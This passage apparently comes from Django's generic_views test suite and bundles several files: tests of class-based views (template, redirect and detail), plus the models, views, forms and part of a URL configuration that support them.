        Test a view can only be called once.
        """
        request = self.rf.get('/')
        view = InstanceView.as_view()
        self.assertNotEqual(view(request), view(request))

    def test_class_attributes(self):
        """
        Test that the callable returned from as_view() has proper
        docstring, name and module.
        """
        self.assertEqual(SimpleView.__doc__, SimpleView.as_view().__doc__)
        self.assertEqual(SimpleView.__name__, SimpleView.as_view().__name__)
        self.assertEqual(SimpleView.__module__, SimpleView.as_view().__module__)

    def test_dispatch_decoration(self):
        """
        Test that attributes set by decorators on the dispatch method
        are also present on the closure.
        """
        self.assertTrue(DecoratedDispatchView.as_view().is_decorated)

    def test_options(self):
        """
        Test that views respond to HTTP OPTIONS requests with an Allow header
        appropriate for the methods implemented by the view class.
        """
        request = self.rf.options('/')
        view = SimpleView.as_view()
        response = view(request)
        self.assertEqual(200, response.status_code)
        self.assertTrue(response['Allow'])

    def test_options_for_get_view(self):
        """
        Test that a view implementing GET allows GET and HEAD.
        """
        request = self.rf.options('/')
        view = SimpleView.as_view()
        response = view(request)
        self._assert_allows(response, 'GET', 'HEAD')

    def test_options_for_get_and_post_view(self):
        """
        Test that a view implementing GET and POST allows GET, HEAD, and POST.
        """
        request = self.rf.options('/')
        view = SimplePostView.as_view()
        response = view(request)
        self._assert_allows(response, 'GET', 'HEAD', 'POST')

    def test_options_for_post_view(self):
        """
        Test that a view implementing POST allows POST.
        """
        request = self.rf.options('/')
        view = PostOnlyView.as_view()
        response = view(request)
        self._assert_allows(response, 'POST')

    def _assert_allows(self, response, *expected_methods):
        "Assert allowed HTTP methods reported in the Allow response header"
        response_allows = set(response['Allow'].split(', '))
        self.assertEqual(set(expected_methods + ('OPTIONS',)), response_allows)

    def test_args_kwargs_request_on_self(self):
        """
        Test a view only has args, kwargs & request once `as_view`
        has been called.
        """
        bare_view = InstanceView()
        view = InstanceView.as_view()(self.rf.get('/'))
        for attribute in ('args', 'kwargs', 'request'):
            self.assertNotIn(attribute, dir(bare_view))
            self.assertIn(attribute, dir(view))

    def test_direct_instantiation(self):
        """
        It should be possible to use the view by directly instantiating it
        without going through .as_view() (#21564).
        """
        view = PostOnlyView()
        response = view.dispatch(self.rf.head('/'))
        self.assertEqual(response.status_code, 405)


@override_settings(ROOT_URLCONF='generic_views.urls')
class TemplateViewTest(SimpleTestCase):

    rf = RequestFactory()

    def _assert_about(self, response):
        response.render()
        self.assertContains(response, '<h1>About</h1>')

    def test_get(self):
        """
        Test a view that simply renders a template on GET
        """
        self._assert_about(AboutTemplateView.as_view()(self.rf.get('/about/')))

    def test_head(self):
        """
        Test a TemplateView responds correctly to HEAD
        """
        response = AboutTemplateView.as_view()(self.rf.head('/about/'))
        self.assertEqual(response.status_code, 200)

    def test_get_template_attribute(self):
        """
        Test a view that renders a template on GET with the template name as
        an attribute on the class.
        """
        self._assert_about(AboutTemplateAttributeView.as_view()(self.rf.get('/about/')))

    def test_get_generic_template(self):
        """
        Test a completely generic view that renders a template on GET
        with the template name as an argument at instantiation.
        """
        self._assert_about(TemplateView.as_view(template_name='generic_views/about.html')(self.rf.get('/about/')))

    def test_template_name_required(self):
        """
        A template view must provide a template name.
        """
        with self.assertRaises(ImproperlyConfigured):
            self.client.get('/template/no_template/')

    @require_jinja2
    def test_template_engine(self):
        """
        A template view may provide a template engine.
        """
        request = self.rf.get('/using/')
        view = TemplateView.as_view(template_name='generic_views/using.html')
        self.assertEqual(view(request).render().content, b'DTL\n')
        view = TemplateView.as_view(template_name='generic_views/using.html', template_engine='django')
        self.assertEqual(view(request).render().content, b'DTL\n')
        view = TemplateView.as_view(template_name='generic_views/using.html', template_engine='jinja2')
        self.assertEqual(view(request).render().content, b'Jinja2\n')

    def test_template_params(self):
        """
        A generic template view passes kwargs as context.
        """
        response = self.client.get('/template/simple/bar/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['foo'], 'bar')
        self.assertIsInstance(response.context['view'], View)

    def test_extra_template_params(self):
        """
        A template view can be customized to return extra context.
        """
        response = self.client.get('/template/custom/bar/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['foo'], 'bar')
        self.assertEqual(response.context['key'], 'value')
        self.assertIsInstance(response.context['view'], View)

    def test_cached_views(self):
        """
        A template view can be cached
        """
        response = self.client.get('/template/cached/bar/')
        self.assertEqual(response.status_code, 200)

        time.sleep(1.0)

        response2 = self.client.get('/template/cached/bar/')
        self.assertEqual(response2.status_code, 200)

        self.assertEqual(response.content, response2.content)

        time.sleep(2.0)

        # Let the cache expire and test again
        response2 = self.client.get('/template/cached/bar/')
        self.assertEqual(response2.status_code, 200)

        self.assertNotEqual(response.content, response2.content)

    def test_content_type(self):
        response = self.client.get('/template/content_type/')
        self.assertEqual(response['Content-Type'], 'text/plain')

    def test_resolve_view(self):
        match = resolve('/template/content_type/')
        self.assertIs(match.func.view_class, TemplateView)
        self.assertEqual(match.func.view_initkwargs['content_type'], 'text/plain')

    def test_resolve_login_required_view(self):
        match = resolve('/template/login_required/')
        self.assertIs(match.func.view_class, TemplateView)


@override_settings(ROOT_URLCONF='generic_views.urls')
class RedirectViewTest(SimpleTestCase):

    rf = RequestFactory()

    def test_no_url(self):
        "Without any configuration, returns HTTP 410 GONE"
        response = RedirectView.as_view()(self.rf.get('/foo/'))
        self.assertEqual(response.status_code, 410)

    def test_default_redirect(self):
        "Default is a temporary redirect"
        response = RedirectView.as_view(url='/bar/')(self.rf.get('/foo/'))
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, '/bar/')

    def test_permanent_redirect(self):
        "Permanent redirects are an option"
        response = RedirectView.as_view(url='/bar/', permanent=True)(self.rf.get('/foo/'))
        self.assertEqual(response.status_code, 301)
        self.assertEqual(response.url, '/bar/')

    def test_temporary_redirect(self):
        "Temporary redirects are an option"
        response = RedirectView.as_view(url='/bar/', permanent=False)(self.rf.get('/foo/'))
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, '/bar/')

    def test_include_args(self):
        "GET arguments can be included in the redirected URL"
        response = RedirectView.as_view(url='/bar/')(self.rf.get('/foo/'))
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, '/bar/')

        response = RedirectView.as_view(url='/bar/', query_string=True)(self.rf.get('/foo/?pork=spam'))
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, '/bar/?pork=spam')

    def test_include_urlencoded_args(self):
        "GET arguments can be URL-encoded when included in the redirected URL"
        response = RedirectView.as_view(url='/bar/', query_string=True)(
            self.rf.get('/foo/?unicode=%E2%9C%93'))
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, '/bar/?unicode=%E2%9C%93')

    def test_parameter_substitution(self):
        "Redirection URLs can be parameterized"
        response = RedirectView.as_view(url='/bar/%(object_id)d/')(self.rf.get('/foo/42/'), object_id=42)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, '/bar/42/')

    def test_named_url_pattern(self):
        "Named pattern parameter should reverse to the matching pattern"
        response = RedirectView.as_view(pattern_name='artist_detail')(self.rf.get('/foo/'), pk=1)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response['Location'], '/detail/artist/1/')

    def test_named_url_pattern_using_args(self):
        response = RedirectView.as_view(pattern_name='artist_detail')(self.rf.get('/foo/'), 1)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response['Location'], '/detail/artist/1/')

    def test_wrong_named_url_pattern(self):
        "A wrong pattern name returns 410 GONE"
        response = RedirectView.as_view(pattern_name='wrong.pattern_name')(self.rf.get('/foo/'))
        self.assertEqual(response.status_code, 410)

    def test_redirect_POST(self):
        "Default is a temporary redirect"
        response = RedirectView.as_view(url='/bar/')(self.rf.post('/foo/'))
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, '/bar/')

    def test_redirect_HEAD(self):
        "Default is a temporary redirect"
        response = RedirectView.as_view(url='/bar/')(self.rf.head('/foo/'))
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, '/bar/')

    def test_redirect_OPTIONS(self):
        "Default is a temporary redirect"
        response = RedirectView.as_view(url='/bar/')(self.rf.options('/foo/'))
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, '/bar/')

    def test_redirect_PUT(self):
        "Default is a temporary redirect"
        response = RedirectView.as_view(url='/bar/')(self.rf.put('/foo/'))
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, '/bar/')

    def test_redirect_PATCH(self):
        "Default is a temporary redirect"
        response = RedirectView.as_view(url='/bar/')(self.rf.patch('/foo/'))
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, '/bar/')

    def test_redirect_DELETE(self):
        "Default is a temporary redirect"
        response = RedirectView.as_view(url='/bar/')(self.rf.delete('/foo/'))
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, '/bar/')

    def test_redirect_when_meta_contains_no_query_string(self):
        "regression for #16705"
        # we can't use self.rf.get because it always sets QUERY_STRING
        response = RedirectView.as_view(url='/bar/')(self.rf.request(PATH_INFO='/foo/'))
        self.assertEqual(response.status_code, 302)

    def test_direct_instantiation(self):
        """
        It should be possible to use the view without going through .as_view()
        (#21564).
        """
        view = RedirectView()
        response = view.dispatch(self.rf.head('/foo/'))
        self.assertEqual(response.status_code, 410)


class GetContextDataTest(unittest.TestCase):

    def test_get_context_data_super(self):
        test_view = views.CustomContextView()
        context = test_view.get_context_data(kwarg_test='kwarg_value')

        # the test_name key is inserted by the test classes parent
        self.assertIn('test_name', context)
        self.assertEqual(context['kwarg_test'], 'kwarg_value')
        self.assertEqual(context['custom_key'], 'custom_value')

        # test that kwarg overrides values assigned higher up
        context = test_view.get_context_data(test_name='test_value')
        self.assertEqual(context['test_name'], 'test_value')

    def test_object_at_custom_name_in_context_data(self):
        # Checks 'pony' key presence in dict returned by get_context_date
        test_view = views.CustomSingleObjectView()
        test_view.context_object_name = 'pony'
        context = test_view.get_context_data()
        self.assertEqual(context['pony'], test_view.object)

    def test_object_in_get_context_data(self):
        # Checks 'object' key presence in dict returned by get_context_date #20234
        test_view = views.CustomSingleObjectView()
        context = test_view.get_context_data()
        self.assertEqual(context['object'], test_view.object)


class UseMultipleObjectMixinTest(unittest.TestCase):
    rf = RequestFactory()

    def test_use_queryset_from_view(self):
        test_view = views.CustomMultipleObjectMixinView()
        test_view.get(self.rf.get('/'))
        # Don't pass queryset as argument
        context = test_view.get_context_data()
        self.assertEqual(context['object_list'], test_view.queryset)

    def test_overwrite_queryset(self):
        test_view = views.CustomMultipleObjectMixinView()
        test_view.get(self.rf.get('/'))
        queryset = [{'name': 'Lennon'}, {'name': 'Ono'}]
        self.assertNotEqual(test_view.queryset, queryset)
        # Overwrite the view's queryset with queryset from kwarg
        context = test_view.get_context_data(object_list=queryset)
        self.assertEqual(context['object_list'], queryset)


class SingleObjectTemplateResponseMixinTest(unittest.TestCase):

    def test_template_mixin_without_template(self):
        """
        We want to makes sure that if you use a template mixin, but forget the
        template, it still tells you it's ImproperlyConfigured instead of
        TemplateDoesNotExist.
        """
        view = views.TemplateResponseWithoutTemplate()
        with self.assertRaises(ImproperlyConfigured):
            view.get_template_names()






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime

from django.core.exceptions import ImproperlyConfigured, ObjectDoesNotExist
from django.test import TestCase, override_settings
from django.test.client import RequestFactory
from django.views.generic.base import View
from django.views.generic.detail import SingleObjectTemplateResponseMixin
from django.views.generic.edit import ModelFormMixin

from .models import Artist, Author, Book, Page


@override_settings(ROOT_URLCONF='generic_views.urls')
class DetailViewTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.artist1 = Artist.objects.create(name='Rene Magritte')
        cls.author1 = Author.objects.create(name='Roberto Bolaño', slug='roberto-bolano')
        cls.author2 = Author.objects.create(name='Scott Rosenberg', slug='scott-rosenberg')
        cls.book1 = Book.objects.create(name='2066', slug='2066', pages=800, pubdate=datetime.date(2008, 10, 1))
        cls.book1.authors.add(cls.author1)
        cls.book2 = Book.objects.create(
            name='Dreaming in Code', slug='dreaming-in-code', pages=300, pubdate=datetime.date(2006, 5, 1)
        )
        cls.page1 = Page.objects.create(
            content='I was once bitten by a moose.', template='generic_views/page_template.html'
        )

    def test_simple_object(self):
        res = self.client.get('/detail/obj/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], {'foo': 'bar'})
        self.assertIsInstance(res.context['view'], View)
        self.assertTemplateUsed(res, 'generic_views/detail.html')

    def test_detail_by_pk(self):
        res = self.client.get('/detail/author/%s/' % self.author1.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], self.author1)
        self.assertEqual(res.context['author'], self.author1)
        self.assertTemplateUsed(res, 'generic_views/author_detail.html')

    def test_detail_missing_object(self):
        res = self.client.get('/detail/author/500/')
        self.assertEqual(res.status_code, 404)

    def test_detail_object_does_not_exist(self):
        with self.assertRaises(ObjectDoesNotExist):
            self.client.get('/detail/doesnotexist/1/')

    def test_detail_by_custom_pk(self):
        res = self.client.get('/detail/author/bycustompk/%s/' % self.author1.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], self.author1)
        self.assertEqual(res.context['author'], self.author1)
        self.assertTemplateUsed(res, 'generic_views/author_detail.html')

    def test_detail_by_slug(self):
        res = self.client.get('/detail/author/byslug/scott-rosenberg/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], Author.objects.get(slug='scott-rosenberg'))
        self.assertEqual(res.context['author'], Author.objects.get(slug='scott-rosenberg'))
        self.assertTemplateUsed(res, 'generic_views/author_detail.html')

    def test_detail_by_custom_slug(self):
        res = self.client.get('/detail/author/bycustomslug/scott-rosenberg/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], Author.objects.get(slug='scott-rosenberg'))
        self.assertEqual(res.context['author'], Author.objects.get(slug='scott-rosenberg'))
        self.assertTemplateUsed(res, 'generic_views/author_detail.html')

    def test_detail_by_pk_ignore_slug(self):
        res = self.client.get('/detail/author/bypkignoreslug/%s-roberto-bolano/' % self.author1.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], self.author1)
        self.assertEqual(res.context['author'], self.author1)
        self.assertTemplateUsed(res, 'generic_views/author_detail.html')

    def test_detail_by_pk_ignore_slug_mismatch(self):
        res = self.client.get('/detail/author/bypkignoreslug/%s-scott-rosenberg/' % self.author1.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], self.author1)
        self.assertEqual(res.context['author'], self.author1)
        self.assertTemplateUsed(res, 'generic_views/author_detail.html')

    def test_detail_by_pk_and_slug(self):
        res = self.client.get('/detail/author/bypkandslug/%s-roberto-bolano/' % self.author1.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], self.author1)
        self.assertEqual(res.context['author'], self.author1)
        self.assertTemplateUsed(res, 'generic_views/author_detail.html')

    def test_detail_by_pk_and_slug_mismatch_404(self):
        res = self.client.get('/detail/author/bypkandslug/%s-scott-rosenberg/' % self.author1.pk)
        self.assertEqual(res.status_code, 404)

    def test_verbose_name(self):
        res = self.client.get('/detail/artist/%s/' % self.artist1.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], self.artist1)
        self.assertEqual(res.context['artist'], self.artist1)
        self.assertTemplateUsed(res, 'generic_views/artist_detail.html')

    def test_template_name(self):
        res = self.client.get('/detail/author/%s/template_name/' % self.author1.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], self.author1)
        self.assertEqual(res.context['author'], self.author1)
        self.assertTemplateUsed(res, 'generic_views/about.html')

    def test_template_name_suffix(self):
        res = self.client.get('/detail/author/%s/template_name_suffix/' % self.author1.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], self.author1)
        self.assertEqual(res.context['author'], self.author1)
        self.assertTemplateUsed(res, 'generic_views/author_view.html')

    def test_template_name_field(self):
        res = self.client.get('/detail/page/%s/field/' % self.page1.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], self.page1)
        self.assertEqual(res.context['page'], self.page1)
        self.assertTemplateUsed(res, 'generic_views/page_template.html')

    def test_context_object_name(self):
        res = self.client.get('/detail/author/%s/context_object_name/' % self.author1.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], self.author1)
        self.assertEqual(res.context['thingy'], self.author1)
        self.assertNotIn('author', res.context)
        self.assertTemplateUsed(res, 'generic_views/author_detail.html')

    def test_duplicated_context_object_name(self):
        res = self.client.get('/detail/author/%s/dupe_context_object_name/' % self.author1.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'], self.author1)
        self.assertNotIn('author', res.context)
        self.assertTemplateUsed(res, 'generic_views/author_detail.html')

    def test_custom_detail(self):
        """
        AuthorCustomDetail overrides get() and ensures that
        SingleObjectMixin.get_context_object_name() always uses the obj
        parameter instead of self.object.
        """
        res = self.client.get('/detail/author/%s/custom_detail/' % self.author1.pk)
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['custom_author'], self.author1)
        self.assertNotIn('author', res.context)
        self.assertNotIn('object', res.context)
        self.assertTemplateUsed(res, 'generic_views/author_detail.html')

    def test_deferred_queryset_template_name(self):
        class FormContext(SingleObjectTemplateResponseMixin):
            request = RequestFactory().get('/')
            model = Author
            object = Author.objects.defer('name').get(pk=self.author1.pk)

        self.assertEqual(FormContext().get_template_names()[0], 'generic_views/author_detail.html')

    def test_deferred_queryset_context_object_name(self):
        class FormContext(ModelFormMixin):
            request = RequestFactory().get('/')
            model = Author
            object = Author.objects.defer('name').get(pk=self.author1.pk)
            fields = ('name',)

        form_context_data = FormContext().get_context_data()
        self.assertEqual(form_context_data['object'], self.author1)
        self.assertEqual(form_context_data['author'], self.author1)

    def test_invalid_url(self):
        with self.assertRaises(AttributeError):
            self.client.get('/detail/author/invalid/url/')

    def test_invalid_queryset(self):
        with self.assertRaises(ImproperlyConfigured):
            self.client.get('/detail/author/invalid/qs/')

    def test_non_model_object_with_meta(self):
        res = self.client.get('/detail/nonmodel/1/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object'].id, "non_model_1")






from django.db import models
from django.db.models import QuerySet
from django.db.models.manager import BaseManager
from django.urls import reverse
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Artist(models.Model):
    name = models.CharField(max_length=100)

    class Meta:
        ordering = ['name']
        verbose_name = 'professional artist'
        verbose_name_plural = 'professional artists'

    def __str__(self):
        return self.name

    def get_absolute_url(self):
        return reverse('artist_detail', kwargs={'pk': self.id})


@python_2_unicode_compatible
class Author(models.Model):
    name = models.CharField(max_length=100)
    slug = models.SlugField()

    class Meta:
        ordering = ['name']

    def __str__(self):
        return self.name


class DoesNotExistQuerySet(QuerySet):
    def get(self, *args, **kwargs):
        raise Author.DoesNotExist

DoesNotExistBookManager = BaseManager.from_queryset(DoesNotExistQuerySet)


@python_2_unicode_compatible
class Book(models.Model):
    name = models.CharField(max_length=300)
    slug = models.SlugField()
    pages = models.IntegerField()
    authors = models.ManyToManyField(Author)
    pubdate = models.DateField()

    objects = models.Manager()
    does_not_exist = DoesNotExistBookManager()

    class Meta:
        ordering = ['-pubdate']

    def __str__(self):
        return self.name


class Page(models.Model):
    content = models.TextField()
    template = models.CharField(max_length=300)


class BookSigning(models.Model):
    event_date = models.DateTimeField()






from __future__ import unicode_literals

from django.contrib.auth.decorators import login_required
from django.core.paginator import Paginator
from django.urls import reverse, reverse_lazy
from django.utils.decorators import method_decorator
from django.views import generic

from .forms import AuthorForm, ContactForm
from .models import Artist, Author, Book, BookSigning, Page


class CustomTemplateView(generic.TemplateView):
    template_name = 'generic_views/about.html'

    def get_context_data(self, **kwargs):
        context = super(CustomTemplateView, self).get_context_data(**kwargs)
        context.update({'key': 'value'})
        return context


class ObjectDetail(generic.DetailView):
    template_name = 'generic_views/detail.html'

    def get_object(self):
        return {'foo': 'bar'}


class ArtistDetail(generic.DetailView):
    queryset = Artist.objects.all()


class AuthorDetail(generic.DetailView):
    queryset = Author.objects.all()


class AuthorCustomDetail(generic.DetailView):
    template_name = 'generic_views/author_detail.html'
    queryset = Author.objects.all()

    def get(self, request, *args, **kwargs):
        # Ensures get_context_object_name() doesn't reference self.object.
        author = self.get_object()
        context = {'custom_' + self.get_context_object_name(author): author}
        return self.render_to_response(context)


class PageDetail(generic.DetailView):
    queryset = Page.objects.all()
    template_name_field = 'template'


class DictList(generic.ListView):
    """A ListView that doesn't use a model."""
    queryset = [
        {'first': 'John', 'last': 'Lennon'},
        {'first': 'Yoko', 'last': 'Ono'}
    ]
    template_name = 'generic_views/list.html'


class ArtistList(generic.ListView):
    template_name = 'generic_views/list.html'
    queryset = Artist.objects.all()


class AuthorList(generic.ListView):
    queryset = Author.objects.all()


class BookList(generic.ListView):
    model = Book


class CustomPaginator(Paginator):
    def __init__(self, queryset, page_size, orphans=0, allow_empty_first_page=True):
        super(CustomPaginator, self).__init__(
            queryset,
            page_size,
            orphans=2,
            allow_empty_first_page=allow_empty_first_page)


class AuthorListCustomPaginator(AuthorList):
    paginate_by = 5

    def get_paginator(self, queryset, page_size, orphans=0, allow_empty_first_page=True):
        return super(AuthorListCustomPaginator, self).get_paginator(
            queryset,
            page_size,
            orphans=2,
            allow_empty_first_page=allow_empty_first_page)


class ContactView(generic.FormView):
    form_class = ContactForm
    success_url = reverse_lazy('authors_list')
    template_name = 'generic_views/form.html'


class ArtistCreate(generic.CreateView):
    model = Artist
    fields = '__all__'


class NaiveAuthorCreate(generic.CreateView):
    queryset = Author.objects.all()
    fields = '__all__'


class TemplateResponseWithoutTemplate(generic.detail.SingleObjectTemplateResponseMixin, generic.View):
    # we don't define the usual template_name here

    def __init__(self):
        # Dummy object, but attr is required by get_template_name()
        self.object = None


class AuthorCreate(generic.CreateView):
    model = Author
    success_url = '/list/authors/'
    fields = '__all__'


class SpecializedAuthorCreate(generic.CreateView):
    model = Author
    form_class = AuthorForm
    template_name = 'generic_views/form.html'
    context_object_name = 'thingy'

    def get_success_url(self):
        return reverse('author_detail', args=[self.object.id])


class AuthorCreateRestricted(AuthorCreate):
    post = method_decorator(login_required)(AuthorCreate.post)


class ArtistUpdate(generic.UpdateView):
    model = Artist
    fields = '__all__'


class NaiveAuthorUpdate(generic.UpdateView):
    queryset = Author.objects.all()
    fields = '__all__'


class AuthorUpdate(generic.UpdateView):
    get_form_called_count = 0  # Used to ensure get_form() is called once.
    model = Author
    success_url = '/list/authors/'
    fields = '__all__'

    def get_form(self, *args, **kwargs):
        self.get_form_called_count += 1
        return super(AuthorUpdate, self).get_form(*args, **kwargs)


class OneAuthorUpdate(generic.UpdateView):
    success_url = '/list/authors/'
    fields = '__all__'

    def get_object(self):
        return Author.objects.get(pk=1)


class SpecializedAuthorUpdate(generic.UpdateView):
    model = Author
    form_class = AuthorForm
    template_name = 'generic_views/form.html'
    context_object_name = 'thingy'

    def get_success_url(self):
        return reverse('author_detail', args=[self.object.id])


class NaiveAuthorDelete(generic.DeleteView):
    queryset = Author.objects.all()


class AuthorDelete(generic.DeleteView):
    model = Author
    success_url = '/list/authors/'


class SpecializedAuthorDelete(generic.DeleteView):
    queryset = Author.objects.all()
    template_name = 'generic_views/confirm_delete.html'
    context_object_name = 'thingy'
    success_url = reverse_lazy('authors_list')


class BookConfig(object):
    queryset = Book.objects.all()
    date_field = 'pubdate'


class BookArchive(BookConfig, generic.ArchiveIndexView):
    pass


class BookYearArchive(BookConfig, generic.YearArchiveView):
    pass


class BookMonthArchive(BookConfig, generic.MonthArchiveView):
    pass


class BookWeekArchive(BookConfig, generic.WeekArchiveView):
    pass


class BookDayArchive(BookConfig, generic.DayArchiveView):
    pass


class BookTodayArchive(BookConfig, generic.TodayArchiveView):
    pass


class BookDetail(BookConfig, generic.DateDetailView):
    pass


class AuthorGetQuerySetFormView(generic.edit.ModelFormMixin):
    fields = '__all__'

    def get_queryset(self):
        return Author.objects.all()


class BookDetailGetObjectCustomQueryset(BookDetail):
    def get_object(self, queryset=None):
        return super(BookDetailGetObjectCustomQueryset, self).get_object(
            queryset=Book.objects.filter(pk=self.kwargs['pk']))


class CustomMultipleObjectMixinView(generic.list.MultipleObjectMixin, generic.View):
    queryset = [
        {'name': 'John'},
        {'name': 'Yoko'},
    ]

    def get(self, request):
        self.object_list = self.get_queryset()


class CustomContextView(generic.detail.SingleObjectMixin, generic.View):
    model = Book
    object = Book(name='dummy')

    def get_object(self):
        return Book(name="dummy")

    def get_context_data(self, **kwargs):
        context = {'custom_key': 'custom_value'}
        context.update(kwargs)
        return super(CustomContextView, self).get_context_data(**context)

    def get_context_object_name(self, obj):
        return "test_name"


class CustomSingleObjectView(generic.detail.SingleObjectMixin, generic.View):
    model = Book
    object = Book(name="dummy")


class BookSigningConfig(object):
    model = BookSigning
    date_field = 'event_date'
    # use the same templates as for books

    def get_template_names(self):
        return ['generic_views/book%s.html' % self.template_name_suffix]


class BookSigningArchive(BookSigningConfig, generic.ArchiveIndexView):
    pass


class BookSigningYearArchive(BookSigningConfig, generic.YearArchiveView):
    pass


class BookSigningMonthArchive(BookSigningConfig, generic.MonthArchiveView):
    pass


class BookSigningWeekArchive(BookSigningConfig, generic.WeekArchiveView):
    pass


class BookSigningDayArchive(BookSigningConfig, generic.DayArchiveView):
    pass


class BookSigningTodayArchive(BookSigningConfig, generic.TodayArchiveView):
    pass


class BookSigningDetail(BookSigningConfig, generic.DateDetailView):
    context_object_name = 'book'


class NonModel(object):
    id = "non_model_1"

    _meta = None


class NonModelDetail(generic.DetailView):

    template_name = 'generic_views/detail.html'
    model = NonModel

    def get_object(self, queryset=None):
        return NonModel()


class ObjectDoesNotExistDetail(generic.DetailView):
    def get_queryset(self):
        return Book.does_not_exist.all()


class LateValidationView(generic.FormView):
    form_class = ContactForm
    success_url = reverse_lazy('authors_list')
    template_name = 'generic_views/form.html'

    def form_valid(self, form):
        form.add_error(None, 'There is an error')
        return self.form_invalid(form)






from __future__ import unicode_literals

from django import forms

from .models import Author


class AuthorForm(forms.ModelForm):
    name = forms.CharField()
    slug = forms.SlugField()

    class Meta:
        model = Author
        fields = ['name', 'slug']


class ContactForm(forms.Form):
    name = forms.CharField()
    message = forms.CharField(widget=forms.Textarea)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.conf.urls import url
from django.contrib.auth import views as auth_views
from django.contrib.auth.decorators import login_required
from django.views.decorators.cache import cache_page
from django.views.generic import TemplateView

from . import models, views

urlpatterns = [
    # TemplateView
    url(r'^template/no_template/$',
        TemplateView.as_view()),
    url(r'^template/login_required/$',
        login_required(TemplateView.as_view())),
    url(r'^template/simple/(?P<foo>\w+)/$',
        TemplateView.as_view(template_name='generic_views/about.html')),
    url(r'^template/custom/(?P<foo>\w+)/$',
        views.CustomTemplateView.as_view(template_name='generic_views/about.html')),
    url(r'^template/content_type/$',
        TemplateView.as_view(template_name='generic_views/robots.txt', content_type='text/plain')),

    url(r'^template/cached/(?P<foo>\w+)/$',
        cache_page(2.0)(TemplateView.as_view(template_name='generic_views/about.html'))),

    # DetailView
    url(r'^detail/obj/$',
        views.ObjectDetail.as_view()),
    url(r'^detail/artist/(?P<pk>[0-9]+)/$',
        views.ArtistDetail.as_view(),
        name="artist_detail"),
    url(r'^detail/author/(?P<pk>[0-9]+)/$',
        views.AuthorDetail.as_view(),
        name="author_detail"),
    url(r'^detail/author/bycustompk/(?P<foo>[0-9]+)/$',
        views.AuthorDetail.as_view(pk_url_kwarg='foo')),
    url(r'^detail/author/byslug/(?P<slug>[\w-]+)/$',
        views.AuthorDetail.as_view()),
    url(r'^detail/author/bycustomslug/(?P<foo>[\w-]+)/$',
        views.AuthorDetail.as_view(slug_url_kwarg='foo')),
    url(r'^detail/author/bypkignoreslug/(?P<pk>[0-9]+)-(?P<slug>[\w-]+)/$',
        views.AuthorDetail.as_view()),
    url(r'^detail/author/bypkandslug/(?P<pk>[0-9]+)-(?P<slug>[\w-]+)/$',
        views.AuthorDetail.as_view(query_pk_and_slug=True)),
    url(r'^detail/author/(?P<pk>[0-9]+)/template_name_suffix/$',
        views.AuthorDetail.as_view(template_name_suffix='_view')),
    url(r'^detail/author/(?P<pk>[0-9]+)/template_name/$',
        views.AuthorDetail.as_view(template_name='generic_views/about.html')),
    url(r'^detail/author/(?P<pk>[0-9]+)/context_object_name/$',
        views.AuthorDetail.as_view(context_object_name='thingy')),
    url(r'^detail/author/(?P<pk>[0-9]+)/custom_detail/$',
        views.AuthorCustomDetail.as_view()),
    url(r'^detail/author/(?P<pk>[0-9]+)/dupe_context_object_name/$',
        views.AuthorDetail.as_view(context_object_name='object')),
    url(r'^detail/page/(?P<pk>[0-9]+)/field/$',
        views.PageDetail.as_view()),
    url(r'^detail/author/invalid/url/$',
        views.AuthorDetail.as_view()),
    url(r'^detail/author/invalid/qs/$',
        views.AuthorDetail.as_view(queryset=None)),
    url(r'^detail/nonmodel/1/$',
        views.NonModelDetail.as_view()),
    url(r'^detail/doesnotexist/(?P<pk>[0-9]+)/$',
        views.ObjectDoesNotExistDetail.as_view()),
    # FormView
    url(r'^contact/$',
        views.ContactView.as_view()),
    url(r'^late-validation/$',
        views.LateValidationView.as_view()),

    # Create/UpdateView
    url(r'^edit/artists/create/$',
        views.ArtistCreate.as_view()),
    url(r'^edit/artists/(?P<pk>[0-9]+)/update/$',
        views.ArtistUpdate.as_view()),

    url(r'^edit/authors/create/naive/$',
        views.NaiveAuthorCreate.as_view()),
    url(r'^edit/authors/create/redirect/$',
        views.NaiveAuthorCreate.as_view(success_url='/edit/authors/create/')),
    url(r'^edit/authors/create/interpolate_redirect/$',
        views.NaiveAuthorCreate.as_view(success_url='/edit/author/{id}/update/')),
    url(r'^edit/authors/create/interpolate_redirect_nonascii/$',
